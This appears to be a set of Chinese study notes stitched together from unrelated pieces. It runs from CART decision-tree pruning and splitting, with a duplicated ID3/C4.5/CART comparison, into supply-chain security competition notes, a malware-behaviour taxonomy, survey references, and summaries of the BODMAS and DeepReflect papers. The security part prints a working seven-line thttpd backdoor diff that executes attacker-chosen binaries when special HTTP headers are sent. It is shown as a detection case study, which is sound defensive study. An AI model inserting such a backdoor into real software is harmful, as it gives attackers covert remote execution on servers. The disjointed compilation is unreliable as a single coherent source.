从完整子树 \(T0\) 开始， 通过在 \(Ti\) 子树序列中裁剪真实误差最小【考虑叶子节点的个数】的子树，得到 \(Ti+1\)。 \[ $\alpha=\frac{R(t)-R(T)}{N(T)-1}$ \]

【剪枝之后的误差 - 剪枝前的误差 / 叶子节点数 - 1】

每次误差增加率最小的节点，得到一系列的子树，从中选择效果最好的【独立剪枝数据集】和【K折交叉验证】

我们来看具体看一下代价复杂度剪枝算法：

首先我们将最大树称为 \(T_0\), 我们希望减少树的大小来防止过拟合, 但又担心去掉节点后预测误差会增大, 所以我 们定义了一个损失函数来达到这两个变量之间的平衡。损失函数定义如下： \[ C_\alpha(T)=C(T)+\alpha|T| \] \(T\) 为任意子树, \(C(T)\) 为预测误差, \(|T|\) 为子树 \(T\) 的叶子节点个数, \(\alpha\) 是参数, \(C(T)\) 衡量训练数据的拟合 程度, \(|T|\) 衡量树的复杂度, \(\alpha\) 权衡拟合程度与树的复杂度。

1.5 类别不平衡

CART 的一大优势在于：无论训练数据集有多失衡，它都可以将其子冻消除不需要建模人员采取其他操作。

CART 使用了一种先验机制，其作用相当于对类别进行加权。这种先验机制嵌入于 CART 算法判断分裂优劣的运算 里, 在 CART 默认的分类模式中, 总是要计算每个节点关于根节点的类别频率的比值, 这就相当于对数据自动重加 权, 对类别进行均衡。

对于一个二分类问题，节点 node 被分成类别 1 当且仅当: \[ \frac{N_1(\text { node })}{N_1(\text { root })}>\frac{N_0(\text { node })}{N_0(\text { root })} \] 比如二分类，根节点属于 1 类和 0 类的分别有 20 和 80 个。在子节点上有 30 个样本，其中属于 1 类和 0 类的分 别是 10 和 20 个。如果 10/20>20/80，该节点就属于 1 类。

通过这种计算方式就无需管理数据真实的类别分布。假设有 \(\mathrm{K}\) 个目标类别，就可以确保根节点中每个类别的概率 都是 \(1 / \mathrm{K}\) 。这种默认的模式被称为“先验相等”。

先验设置和加权不同之处在于先验不影响每个节点中的各类别样本的数量或者份额。先验影响的是每个节点的类别 赋值和树生长过程中分裂的选择。

1.6 连续值处理

1.6.1 分类树

• 如果特征值是连续值：CART的处理思想与C4.5是相同的，即将连续特征值离散化。唯一不同的地方是度量的标准不一样， CART采用基尼指数，而C4.5采用信息增益比。

• 如果当前节点为连续属性，CART树中该属性（剩余的属性值）后面还可以参与子节点的产生选择过程。

1.7 回归树

CART（Classification and Regression Tree，分类回归树），从名字就可以看出其不仅可以用于分类，也可以应用于回归。其回归树的建立算法上与分类树部分相似，这里简单介绍下不同之处。

连续值处理：RSS残差平方和

对于连续值的处理, CART 分类树采用基尼系数的大小来度量特征的各个划分点。在回归模型中, 我们使用常见的 和方差度量方式, 对于任意划分特征 \(\mathrm{A}\), 对应的任意划分点 \(\mathrm{s}\) 两边划分成的数据集 \(D_1\) 和 \(D_2\), 求出使 \(D_1\) 和 \(D_2\) 各自集合的均方差最小, 同时 \(D_1\) 和 \(D_2\) 的均方差之和最小所对应的特征和特征值划分点。表达式为: \[ \min _{a, s}\left[\min _{c_1} \sum_{x_i \in D_1}\left(y_i-c_1\right)^2+\min _{c_2} \sum_{x_i \in D_2}\left(y_i-c_2\right)^2\right] \] 其中, \(c_1\) 为 \(D_1\) 数据集的样本输出均值, \(c_2\) 为 \(D_2\) 数据集的样本输出均值。

预测方式

对于决策树建立后做预测的方式，上面讲到了 CART 分类树采用叶子节点里概率最大的类别作为当前节点的预测类别。而回归树输出不是类别，它采用的是用最终叶子的均值或者中位数来预测输出结果。

1.7.1 CART分类树建模时，预测变量中存在连续和离散时，会自动分别进行处理吗？

在使用sklearn的决策树CART建模时，预测变量中存在连续和离散时，会自动分别进行处理吗？ - 月来客栈的回答 - 知乎 https://www.zhihu.com/question/472579561/answer/2002434993

对于这种连续型的特征变量，Sklearn中的具体做法（包括ID3、CART、随机森林等）是先对连续型特征变量进行排序处理， 然后取所有连续两个值的均值来离散化整个连续型特征变量。

假设现在某数据集其中一个特征维度为: \[ [0.5,0.2,0.8,0.9,1.2,2.1,3.2,4.5] \] 则首先需要对其进行排序处理, 排序后的结果为: \[ [0.2,0.5,0.8,0.9,1.2,2.1,3.2,4.5] \] 接着再计算所有连续两个值之间的平均值： \[ [0.35,0.65,0.85,1.05,1.65,2.65,3.85] \] 这样，便得到了该特征离散化后的结果。最后在构造决策树时，只需要使用式最后离散化后的特征进行划分指标的计算即可。同时，值得一说的地方是目前Sklearn在实际处理时，会把所有的特征均看作连续型变量进行处理。

下图所示为iris数据集根据sklearn中CART算法所建模的决策树的可视化结果：

从图中可以看到，petal width这个特征在前两次分类时的分割点分别为0.8和1.75。下面先来看看原始特征petal width的取值情况：

1

[1.  1.5 1.8 1.4 2.5 1.3 2.1 1.5 0.2 2.  1.  0.2 0.3 0.4 1.  1.8 0.2 0.2 0.5 1.3 0.2 1.2 2.2 0.2 1.3 2.  0.2 1.8 1.9 1.  1.5 2.3 1.3 0.4 1.  1.9 0.2 0.2 1.1 1.7 0.2 2.4 0.2 0.6 1.8 1.1 2.3 1.6 1.4 2.3 1.3 0.2 0.1 1.5 1.8 0.2 0.3 0.2 1.5 2.4 0.3 2.1 2.5 0.2 1.4 1.5 1.8 1.4 2.3 0.2 2.1 1.5 2.  1.  1.4 1.4 0.3 1.3 1.2 0.2 1.3 1.8 2.1 0.4 1.  2.5 1.6 0.1 2.4 0.2 1.5 1.9 1.8 1.3 1.8 1.3 1.3 2.  1.8 0.2 1.3 1.7 0.2 1.2 2.1]

可以发现上面并没有0.8和1.75这两个取值。接着按上面的方法先排序，再取相邻两个值的平均作为离散化的特征，其结果为：

1
2
3
4
5
6
7

[0.1, 0.15000000000000002, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 
0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.25, 0.3, 0.3, 0.3, 0.35, 0.4, 0.4,
 0.45, 0.55, 0.8, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.05, 1.1, 1.15, 1.2, 1.2, 1.25, 1.3,
 1.3, 1.3, 1.3, 1.3, 1.3, 1.3, 1.3, 1.3, 1.3, 1.35, 1.4, 1.4, 1.4, 1.4, 1.4, 1.45, 1.5, 
1.5, 1.5, 1.5, 1.5, 1.5, 1.5, 1.55, 1.6, 1.65, 1.7, 1.75, 1.8, 1.8, 1.8, 1.8, 1.8, 1.8, 
1.8, 1.8, 1.8, 1.85, 1.9, 1.9, 1.95, 2.0, 2.0, 2.0, 2.05, 2.1, 2.1, 2.1, 2.1, 
2.1500000000000004, 2.25, 2.3, 2.3, 2.3, 2.3499999999999996, 2.4, 2.4, 2.45, 2.5, 2.5]

二、 总结

最后通过总结的方式对比下 ID3、C4.5 和 CART 三者之间的差异。

除了之前列出来的划分标准、剪枝策略、连续值确实值处理方式等之外，我再介绍一些其他差异：

• 划分标准的差异：ID3 使用信息增益偏向特征值多的特征，C4.5 使用信息增益率克服信息增益的缺点，偏向于特征值小的特征，CART 使用基尼指数克服 C4.5 需要求 log 的巨大计算量，偏向于特征值较多的特征。
• 使用场景的差异：ID3 和 C4.5 都只能用于分类问题，CART 可以用于分类和回归问题；ID3 和 C4.5 是多叉树，速度较慢，CART 是二叉树，计算速度很快；
• 样本数据的差异：ID3 只能处理离散数据且缺失值敏感，C4.5 和 CART 可以处理连续性数据且有多种方式处理缺失值；从样本量考虑的话，小样本建议 C4.5、大样本建议 CART。C4.5 处理过程中需对数据集进行多次扫描排序，处理成本耗时较高，而 CART 本身是一种大样本的统计方法，小样本处理下泛化误差较大 ；
• 样本特征的差异：ID3 和 C4.5 层级之间只使用一次特征，CART 可多次重复使用特征（连续型）；
• 剪枝策略的差异：ID3 没有剪枝策略，C4.5 是通过悲观剪枝策略来修正树的准确性，而 CART 是通过代价复杂度剪枝。

决策树——ID3、C4.5、CART

决策树是一个非常常见并且优秀的机器学习算法，它易于理解、可解释性强，其可作为分类算法，也可用于回归模型。

• 划分标准的差异：ID3 使用信息增益偏向特征值多的特征，C4.5 使用信息增益率克服信息增益的缺点，偏向于特征值小的特征，CART 使用基尼指数克服 C4.5 需要求 log 的巨大计算量，偏向于特征值较多的特征。
• 使用场景的差异：ID3 和 C4.5 都只能用于分类问题，CART 可以用于分类和回归问题；ID3 和 C4.5 是多叉树，速度较慢，CART 是二叉树，计算速度很快；
• 样本数据的差异：ID3 只能处理离散数据且缺失值敏感，C4.5 和 CART 可以处理连续性数据且有多种方式处理缺失值；从样本量考虑的话，小样本建议 C4.5、大样本建议 CART。C4.5 处理过程中需对数据集进行多次扫描排序，处理成本耗时较高，而 CART 本身是一种大样本的统计方法，小样本处理下泛化误差较大 ；
• 样本特征的差异：ID3 和 C4.5 层级之间只使用一次特征，CART 可多次重复使用特征；
• 剪枝策略的差异：ID3 没有剪枝策略，C4.5 是通过悲观剪枝策略来修正树的准确性，而 CART 是通过代价复杂度剪枝。

供应链及物理网安全

##### 1、APK分析

考察点：逆向分析、文档收集、数据分析

##### 2、软件供应链安全分析

• MaMaDroid【13】
• Drebin 【14】
• AppContext【20】

==考察点：二进制代码分析，二进制函数特征提取，补丁比较，源代码分析==

• 如V. Livshits 等使用静态分析的方法在Java 源代码中进行脆弱性(vulnerability)检测的策略[47]。
• G. Grieco 和G. Grinblat 等使用机器学习方法根据软件的内存错误信息训练测试模型, 检测软件漏洞的研究[49] Toward Large-Scale Vulnerability Discovery Using Machine Learning
• 彭小详等人的研究针对加壳技术, 提出了对恶意程序进行自动脱壳的方法[59]。Research of Malicious Code in Automatic Unpacking
• 「功守道」软件供应链安全大赛·C源代码赛季启示录

##### 3、PowerShell反混淆

考察点：代码分析， 混淆语句定位、还原

• XShell污染
• CCleaner投毒

混淆原理

网上帖子太多了，可以参考下看雪论坛用户发的翻译贴： https://bbs.pediy.com/thread-248034.htm

自动化反混淆工具

Unit42安全团队编写的PowerShellProfiler.py： github地址： https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler 用法及原理参考： https://www.freebuf.com/sectool/219057.html

##### 4、物联网漏洞挖掘

考察点：常见漏洞原理，二进制逆向工程，自动化程序分析

相关论文

DroidMD: an efficient and scalable Android malware detection approach at source code level (2021 C&S)

Detection of Repackaged Android Malware with Code-Heterogeneity Features.(2020 TDSC)

1.1 软件供应链

软件供应链安全工具DependencyTrack的使用

https://www.cnblogs.com/bonelee/p/13768901.html

1.2 物联网安全

常见恶意行为

*标注为单点确定性恶意行为，**标注为二阶段恶意行为中的上游或下游行为，#标注为复合恶意行为

* 敏感信息异常采集:针对生产环境，最大的威胁不是造成应用执行异常，而是在无形中泄漏关键敏感数据，包括可能造成机器控制权丧失的系统相关配置数据，关键的应用存储的用户数据等。

• 口令与秘钥类型文件直接操作 *
• 系统敏感配置文件绕过API直接读取 *
• 典型服务端应用敏感配置文件直接读取 *
• 系统账户操作历史相关信息读取 **
• 典型服务端应用管理账户和用户数据读取 **
• 系统一般描述性信息采集 **
• 软件供应链上游特定资源数据探测、获取和泄漏（如源码遍历泄漏） #

* 关键数据篡改:任何需要在生产环境上，修改、写入数据或代码从而实现恶意打击的行为，我们统一归纳到这一类里面，较为泛化。

• 覆盖、篡改或插入口令秘钥类型文件用以账户植入 *
• 系统、用户环境变量和关键配置文件修改 **
• 自动执行脚本/用户操作历史篡改 **
• 典型服务端应用配置文件和关键数据文件绕过API方式篡改 *
• 系统/典型应用重要位置的脚本/可执行文件置换 **
• 开发、测试等环境系统默认工具链篡改替换 *
• 开发、测试等环境特定类型源文件/资源文件篡改污染 #

*不可信数据传入渠道：以上两者重点考察了隐形的软件供应链本地恶意行为。在涉及到网络和交互的场景下，通过从供应链上进行污染，一种比较直接且有持续后效的恶意行为就是撕开一个口子，供后续入侵进场。

• 下载敏感类型文件到临时目录 **
• 关键可执行文件（系统应用/关键服务端应用/关键库）下载/释放 **
• 网络传入指令/地址类型数据且无校验执行/访问 *

* 不可信信息外传渠道。对应于上面的传入。敏感数据的采集后，需要搭配对应的下游传出才能形成完整恶意行为链路，常规可能的渠道形式分为两类。

• 上游数据未脱敏形式的网络传出（TCP/UDP/ICMP） **
• 上游数据未脱敏形式的本地确定位置落盘 **

* 其它典型木马后门行为。在上述行为框架之外，在生产环境上具有非单纯破坏效果的恶意行为，划分为此类，包括但不限于：

• 键盘hook等输入监控行为 *

• 网络劫持行为 *

• 全局挂钩注入行为 **

• 远程控制 #

经典赛题事例

#1：thttpd后门陷阱

从基础软件或应用上面入手，稳定可控的后门是最佳选择。而在一个无关应用中突兀地出现网络连接，隐蔽性总归很差；在thttpd当中，以很袖珍的代码实现稳定的后门，是这里首先要呈现的一个题目。

在thttpd项目，恶意代码嵌入到libhttpd.c文件中，上下游恶意代码相关上下文：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

*** /thttpd/libhttpd.c

--- malware/libhttpd.c

*************** httpd_parse_request( httpd_conn* hc )

*** 2102,2107 ****

--- 2102,2113 ----

cp += strspn( cp, " \t" );

hc->useragent = cp;

}

+ else if ( strncasecmp( buf, "TE:", 3 ) == 0)

+ {

+ cp = &buf[3];

+ cp += strspn( cp, " \t");

+ hc->hs->cgi_pattern = cp;

+ }

else if ( strncasecmp( buf, "Host:", 5 ) == 0 )

{

cp = &buf[5];

*************** cgi_child( httpd_conn* hc )

*** 3560,3565 ****

--- 3566,3576 ----

#endif /* HAVE_SIGSET */

/* Run the program. */

+ if ( strstr( hc->acceptl, "en;q=1.1") != (char*)0 )

+ {

+ binary = argp[1];

+ argp++;

+ }

(void) execve( binary, argp, envp );

/* Something went wrong. */

后门会根据http头判断是否开启cgi功能，并根据http头Accept-Language决定解析执行文件的路径。上述代码段中，首先通过http头TE:设置开启cgi功能（对应上述代码中，httpd_parse_request函数中插入的else if ( strncasecmp( buf, "TE:", 3 ) == 0) {...}代码块）。而下游代码同样巧妙，指定特殊的Accept-Language: en;q=1.1决定是否执行指定的系统命令（即cgi_child函数插入的if ( strstr( hc->acceptl, "en;q=1.1") != (char*)0 ) {...}代码块）。

本例恶意行为的主要特点：

• 该后门的嵌入，新增代码量极小（共7行），巧妙借用了thttpd处理用户请求、cgi的原本逻辑，借用了execve的调用，没有任何新增的API调用等行为，可以躲避有意识的行为特征匹配检测。
• 该后门在代码中的插入，分布在了存在逻辑关联的上下游两个位置，在源代码分析领域，属于过程间代码扫描问题，对于基于语义的源代码静态扫描方案也提出了很高的要求。

MALWARE

1. Survey Overview

Period :2014-2021

• Platform

  • Windows [13,32]
  • Android [1-3,11,14,16,18,23,25,33,35-37,40]
  • Linux

• Direction

  • Malware features from various aspects [1,9,24,28,31,40]
  • Malware propagation(传播) [2,25]
  • System mechanisms or services against malware [3,37]
  • Malware behaviors [5,15]
    • Obfuscation [8,37]
    • Packing [8]
    • Stealth technologies [3,6]
    • Hook
    • Evasion from dynamic analysis [10,17,20,31,62]
  • Dataset challenges, such as aging problem [21,23,41,51]
  • Performance metrics[14,23]
  • Specific malware：such as IoT malware[25,26,39], fileless[30] and PDF malware[43,54]
  • Visualization [15]
  • Graph representation [22]
  • Detection Methods [3-4,8,9,11,12,14,16,19,31,33,36]
    • ML based techniques [13,18,21,29,38,40]
    • DL based techniques [22,29,35]
  • APT(Advanced Persistent Threats) [20]
  • Adversarial malware example generation [27,32]
  • ML/DL flaws [7,28]
  • ML/DL interpretability [34]

2. Android Malware detection

2.1 Behavior detection [63,64]

2.2 Signature based [65,66]

2.3 Rule based[67,68]

2.4 Similarity based

2.4.1 Model similarity[69-73]

2.4.2 Graph similarity[74-79]

2.5 ML based [60,80-101]

2.6 DL based [102-109]

3 Windows Malware detection

3.1 Behavior detection [110,111]

3.2 Signature based [112]

3.3 Rule based[113]

3.4 Similarity based

3.4.1 Model similarity[114-122]

3.4.2 Graph similarity[123-127]

3.5 ML based [128-143]

3.6 DL based [144-156]

4. ML/DL flaws Overview

• Ensemble classifier evasion [42]
• Performance degradation [42,46,53,54]
• Adversarial example generation [43,44,45,48,55,56,57,58]
• Poisoning Attack [47]
• Feature weights [49]
• Cost analysis [50]
• ML bias from dataset [51]
• Influence of packing [52]
• Methods reproduction [59]

5. References

1. 2014 A Survey of Android Malware Characterisitics and Mitigation Techniques

2. 2014 Smartphone Malware and Its Propagation Modeling:A Survey

3. 2015 Android Security: A Survey of Issues, Malware Penetration, and Defenses

4. 2014 Evolution and Detection of Polymorphic and Metamorphic Malwares: A Survey

5. 2015 Kernel Malware Core Implementation: A Survey

6. 2016 A Survey of Stealth Malware Attacks, Mitigation Measures, and Steps Toward Autonomous Open World Solutions

7. 2016 On the Security of Machine Learning in Malware C&C Detection: A Survey

8. 2017 Malware Methodologies and Its Future: A Survey

9. 2017 A Survey on Malware Detection Using Data Mining Techniques

10. 2018 Malware Dynamic Analysis Evasion Techniques: A Survey

11. 2018 Android Malware Detection: A Survey

12. 2018 A Survey on Metamorphic Malware Detection based on Hidden Markov Model

13. 2018 Machine Learning Aided Static Malware Analysis: A Survey and Tutorial

14. 2018 A survey on dynamic mobile malware detection

15. 2018 A survey of malware behavior description and analysis

16. 2019 A Survey on Android Malware Detection Techniques Using Machine Learning Algorithms

17. 2019 Dynamic Malware Analysis in the Modern Era—A State of the Art Survey

18. 2019 Data-Driven Android Malware Intelligence: A Survey

19. 2019 A survey of zero-day malware attacks and itsdetection methodology

20. 2019 A Survey on malware analysis and mitigation techniques

21. 2019 Survey of machine learning techniques for malware analysis

22. 2020 Deep Learning and Open Set Malware Classification: A Survey

23. 2020 A Comprehensive Survey on Machine Learning Techniques for Android Malware Detection

24. 2015 A Survey on Mining Program-Graph Features for Malware Analysis

25. 2020 Stochastic Modeling of IoT Botnet Spread: A Short Survey on Mobile Malware Spread Modeling

26. 2020 A survey of IoT malware and detection methods based on static features

27. 2020 A survey on practical adversarial examples for malware classifiers

28. 2020 A Survey of Machine Learning Methods and Challenges for Windows Malware Classification

29. 2020 A Survey on Malware Detection with Deep Learning

30. 2020 An emerging threat Fileless malware: a survey and research challenges

31. 2021 Malware classification and composition analysis: A survey of recent developments

32. 2021 Adversarial EXEmples: A Survey and Experimental Evaluation of Practical Attacks on Machine Learning for Windows Malware Detection

33. 2020 A Survey on Mobile Malware Detection Techniques

34. 2021 Towards interpreting ML-based automated malware detection models: a survey

35. 2021 A Survey of Android Malware Detection with Deep Neural Models

36. 2021 A survey of malware detection in Android apps: Recommendations and perspectives for future research

37. 2021 A survey of android application and malware hardening

38. 2021 A survey on machine learning-based malware detection in executable files

39. 2021 The evolution of IoT Malwares, from 2008 to 2019: Survey, taxonomy, process simulator and perspectives

40. 2021 A Survey of Android Malware Static Detection Technology Based on Machine Learning

41. 2016 Empirical assessment of machine learning-based malware detectors for Android Measuring the gap between in-the-lab and in-the-wild validation scenarios

42. 2016 When a Tree Falls: Using Diversity in Ensemble Classifiers to Identify Evasion in Malware Detectors

43. 2016 Automatically Evading Classifiers A Case Study on PDF Malware Classifiers

44. 2017 SecureDroid: Enhancing Security of Machine Learning-based Detection against Adversarial Android Malware Attacks

45. 2017 How to defend against adversarial attack

46. 2017 Transcend: Detecting Concept Drift in Malware Classification Models

47. 2018 Automated poisoning attacks and defenses in malware detection systems: An adversarial machine learning approach

48. 2018 Generic Black-Box End-to-End Attack Against State of the Art API Call Based Malware Classifiers

49. 2019 Yes, Machine Learning Can Be More Secure! A Case Study on Android Malware Detection

50. 2019 A cost analysis of machine learning using dynamic runtime opcodes for malware detection

51. 2019 TESSERACT: Eliminating Experimental Bias in Malware Classification across Space and Time

52. 2020 When Malware is Packin’ Heat; Limits of Machine Learning Classifiers Based on Static Analysis Features

53. 2020 Assessing and Improving Malware Detection Sustainability through App Evolution Studies

54. 2020 On Training Robust PDF Malware Classifiers

55. 2020 Adversarial Deep Ensemble: Evasion Attacks and Defenses for Malware Detection

56. 2020 Intriguing Properties of Adversarial ML Attacks in the Problem Space Fabio

57. 2020 Query-Efficient Black-Box Attack Against Sequence-Based Malware Classifiers

58. 2020 Enhancing State-of-the-art Classifiers with API Semantics to Detect Evolved Android Malware

59. 2021 Lessons Learnt on Reproducibility in Machine Learning Based Android Malware Detection

60. 2016 Semantics-Based Online Malware Detection: Towards Efficient Real-Time Protection Against Malware

61. 2018 Understanding Linux Malware

62. 2017 Droid-AntiRM: Taming Control Flow Anti-analysis to Support Automated Dynamic Analysis of Android Malware

63. 2017 Malton: Towards On-Device Non-Invasive Mobile Malware Analysis for ART

64. 2015 CopperDroid: Automatic Reconstruction of Android Malware Behaviors

65. 2018 EnMobile: Entity-based Characterization and Analysis of Mobile

66. 2015 Screening smartphone applications using malware family signatures

67. 2018 Toward a more dependable hybrid analysis of android malware using aspect-oriented programming

68. 2017 DroidNative: Automating and optimizing detection of Android native code malware variants

69. 2016 An HMM and structural entropy based detector for Android malware: An empirical study

70. 2020 Scalable and robust unsupervised android malware fingerprinting using community-based network partitioning

71. 2020 On the use of artificial malicious patterns for android malware detection

72. 2016 Andro-Dumpsys: Anti-malware system based on the similarity of malware creator and malware centric information

73. 2020 Bayesian Active Malware Analysis

74. 2020 PermPair: Android Malware Detection Using Permission Pairs

75. 2014 Apposcopy: Semantics-Based Detection of Android Malware through Static Analysis

76. 2015 Profiling user-trigger dependence for Android malware detection

77. 2019 Identifying Android Malware Using Network-Based Approaches

78. 2016 Cypider: Building Community-Based Cyber-Defense Infrastructure for Android Malware Detection

79. 2014 Semantics-Aware Android Malware Classification Using Weighted Contextual API Dependency Graphs

80. 2017 MAMADROID: Detecting Android Malware by Building Markov Chains of Behavioral Models

81. 2014 Drebin: Effective and Explainable Detection of Android Malware in Your Pocket

82. 2018 Make Evasion Harder: An Intelligent Android Malware Detection System

83. 2018 Using Loops For Malware Classification Resilient to Feature-unaware Perturbations

84. 2016 Semantic Modelling of Android Malware for Effective Malware Comprehension, Detection, and Classification

85. 2018 Detecting Android Malware Leveraging Text Semantics of Network Flows

86. 2018 Improving Accuracy of Android Malware Detection with Lightweight Contextual Awareness

87. 2019 MalScan: Fast Market-Wide Mobile Malware Scanning by Social-Network Centrality Analysis

88. 2017 PIndroid: A novel Android malware detection system using ensemble learning methods

89. 2017 A pragmatic android malware detection procedure

90. 2016 ICCDetector: ICC-Based Malware Detection on Android

91. 2015 A Probabilistic Discriminative Model for Android Malware Detection with Decompiled Source Code

92. 2019 DroidCat: Effective Android Malware Detection and Categorization via App-Level Profiling

93. 2018 MADAM: Effective and Efficient Behavior-based Android Malware Detection and Prevention

94. 2020 Android Malware Detection via (Somewhat) Robust Irreversible Feature Transformations

95. 2018 Leveraging ontologies and machine-learning techniques for malware analysis into Android permissions ecosystems

96. 2018 Lightweight, Obfuscation-Resilient Detection and Family Identification of Android Malware

97. 2018 A multi-view context-aware approach to Android malware detection and malicious code localization

98. 2019 DroidFusion: A Novel Multilevel Classifier Fusion Approach for Android Malware Detection

99. 2020 DL-Droid: Deep learning based android malware detection using real devices

100. 2021 JOWMDroid: Android malware detection based on feature weighting with joint optimization of weight-mapping and classifier parameters

101. 2020 Towards using unstructured user input request for malware detection

102. 2021 Toward s an interpretable deep learning model for mobile malware detection and family identification

103. 2020 AMalNet: A deep learning framework based on graph convolutional networks for malware detection

104. 2021 Disentangled Representation Learning in Heterogeneous Information Network for Large-scale Android Malware Detection in the COVID-19 Era and Beyond

105. 2019 A Multimodal Deep Learning Method for Android Malware Detection Using Various Features

106. 2019 Android Fragmentation in Malware Detection

107. 2019 An Image-inspired and CNN-based Android Malware Detection Approach

108. 2021 A Performance-Sensitive Malware Detection System Using Deep Learning on Mobile Devices

109. 2020 Byte-level malware classification based on markov images and deep learning

110. 2013 API Chaser: Anti-analysis Resistant Malware Analyzer

111. 2018 MalViz: An Interactive Visualization Tool for Tracing Malware

112. 2017 CloudEyes: Cloud-based malware detection with reversible sketch for resource-constrained internet of things (IoT) devices

113. 2013 A fast malware detection algorithm based on objective-oriented association mining

114. 2013 PoMMaDe: Pushdown Model-checking for Malware Detection

115. 2014 Growing Grapes in Your Computer to Defend Against Malware

116. 2015 Hypervisor-based malware protection with AccessMiner

117. 2015 Probabilistic Inference on Integrity for Access Behavior Based Malware Detection

118. 2018 Probabilistic analysis of dynamic malware traces

119. 2018 A malware detection method based on family behavior graph

120. 2018 Malware classification using self organising feature maps and machine activity data

121. 2019 Volatile memory analysis using the MinHash method for efficient and secured detection of malware in private cloud

122. 2020 A dynamic Windows malware detection and prediction method based on contextual understanding of API call sequence

123. 2013 Deriving common malware behavior through graph clustering

124. 2014 Enhancing the detection of metamorphic malware using call graphs

125. 2016 Minimal contrast frequent pattern mining for malware detection

126. 2019 Heterogeneous Graph Matching Networks for Unknown Malware Detection

127. 2021 Random CapsNet for est model for imbalanced malware type classification task

128. 2013 A Scalable Approach for Malware Detection through Bounded Feature Space Behavior Modeling

129. 2013 SigMal: A Static Signal Processing Based Malware Triage

130. 2014 Unsupervised Anomaly-Based Malware Detection Using Hardware Features

131. 2014 Control flow-based opcode behavior analysis for Malware detection

132. 2015 Employing Program Semantics for Malware Detection

133. 2015 AMAL: High-fidelity, behavior-based automated malware analysis and classification

134. 2016 Optimized Invariant Representation of Network Traffic for Detecting Unseen Malware Variants

135. 2017 DYNAMINER: Leveraging Offline Infection Analytics for On-the-Wire Malware Detection

136. 2017 Security importance assessment for system objects and malware detection

137. 2018 From big data to knowledge: A spatiotemporal approach to malware detection

138. 2019 MalDAE: Detecting and explaining malware based on correlation and fusion of static and dynamic characteristics

139. 2019 Leveraging Compression-Based Graph Mining for Behavior-Based Malware Detection

140. 2020 Advanced Windows Methods on Malware Detection and Classification

141. 2020 Sub-curve HMM: A malware detection approach based on partial analysis of API call sequences

142. 2020 Multiclass malware classification via first- and second-order texture statistics

143. 2021 Catch them alive: A malware detection approach through memory forensics, manifold learning and computer vision

144. 2018 Auto-detection of sophisticated malware using lazy-binding control flow graph and deep learning

145. 2018 Malware identification using visualization images and deep learning

146. 2018 Classification of Malware by Using Structural Entropy on Convolutional Neural Networks

147. 2019 Classifying Malware Represented as Control Flow Graphs using Deep Graph Convolutional Neural Network

148. 2019 Neurlux: Dynamic Malware Analysis Without Feature Engineering

149. 2019 A feature-hybrid malware variants detection using CNN based opcode embedding and BPNN based API embedding

150. 2019 Effective analysis of malware detection in cloud computing

151. 2020 Recurrent neural network for detecting malware

152. 2020 Dynamic Malware Analysis with Feature Engineering and Feature Learning

153. 2020 An improved two-hidden-layer extreme learning machine for malware hunting

154. 2020 HYDRA: A multimodal deep learning framework for malware classification

155. 2020 A novel method for malware detection on ML-based visualization technique

156. 2020 Image-Based malware classification using ensemble of CNN architectures (IMCEC)

BODMAS: An Open Dataset for Learning based Temporal Analysis of PE Malware

2021 SP Workshops

On training robust PDF malware classifiers. (2020 USENIX)

一、摘要

我们描述并发布了一个名为BODMAS的开放PE恶意软件数据集，以促进基于机器学习的恶意软件分析的研究工作。通过仔细检查现有的open PE恶意软件数据集，我们发现了两个缺失的功能（即最近/时间戳的恶意软件样本和精心策划的家族信息），这限制了研究人员研究概念漂移和恶意软件系列演化等紧迫问题的能力。出于这些原因，我们发布了一个新的数据集来填补空白。BODMAS数据集包含从2019年8月至2020年9月收集的57293个恶意软件样本和77142个良性样本，以及精心策划的家族信息（581个家族）。我们还进行了初步分析，以说明概念漂移的影响，并讨论该数据集如何有助于促进现有和未来的研究工作。

二、说明

如今，研究人员[30]、[5]、[11]、[6]和反病毒供应商[1]将机器学习模型（包括深度神经网络）广泛应用于恶意软件分析任务中。在这一工作领域，拥有公共数据集和开放基准是非常可取的。一方面，这些数据集将有助于促进解决开放性挑战的新工作（例如，对抗性机器学习、可解释技术[28]、[10]）。另一方面，公共基准和数据集可以帮助研究人员轻松地比较他们的模型，并跟踪整个社区的进展。然而，创建开放式恶意软件数据集是一项极具挑战性的工作。例如，[5]的作者讨论了许多此类挑战，包括法律限制、标记恶意软件样本的成本和难度，以及潜在的安全责任。除了这些因素外，另一个关键挑战是恶意软件（以及良性软件）的动态演化性质[20]。随着时间的推移，新的恶意软件系列和变种不断出现，它们不断地对底层数据分布进行更改。因此，随着时间的推移，不断需要发布新的数据集和基准。在过去的十年中，只有少数公开的PE恶意软件数据集发布到研究社区[30]。值得注意的例子包括Microsoft恶意软件分类挑战数据集[24]、Ember[5]、UCSB打包恶意软件数据集[2]和最近的SOREL-20M数据集[11]。我们在表一中总结了它们的主要特征。

[30] Survey of machine learning techniques for malware analysis. (2019 C&S)

[5] Ember: an open dataset for training static pe malware machine learning models

[11] SOREL-20M: A Large Scale Benchmark Dataset for Malicious PE Detection

[6] Scalable, behavior-based malware clustering (2009 NDSS)

[28] Exploring backdoor poisoning attacks against malware classifiers

[10] Maldae: Detecting and explaining malware based on correlation and fusion of static and dynamic characteristics. (2019 C&S)

[20]

USENIXSec21 DeepReflect：通过二进制重构发现恶意行为（经典）

参考材料

原文作者：Evan Downing, Yisroel Mirsky, Kyuhong Park, Wenke Lee 原文标题：DeepReflect: Discovering Malicious Functionality through Binary Reconstruction 原文链接：https://www.usenix.org/conference/usenixsecurity21/presentation/downing 发表会议：USENIXSec 2021 代码地址：https://github.com/evandowning/deepreflect

一、摘要

深度学习已在恶意软件分类任务中表现出良好的结果。然而：

• 人工分析效率低：对于未知恶意软件的binary，分析人员仍要花大量时间来利用静态分析工具逆向整个binary，从而识别关键的恶意行为
• 监督学习开销大：尽管机器学习可用来帮助识别二进制的重要部分，但由于获取足够大的标记数据集开销很大，因此监督学习方法是不切实际的

为了提高静态（或手动）逆向工程的生产力，我们提出了DeepReflect：一种用于定位（localize）和识别（identify）恶意二进制文件中恶意软件组件的工具。

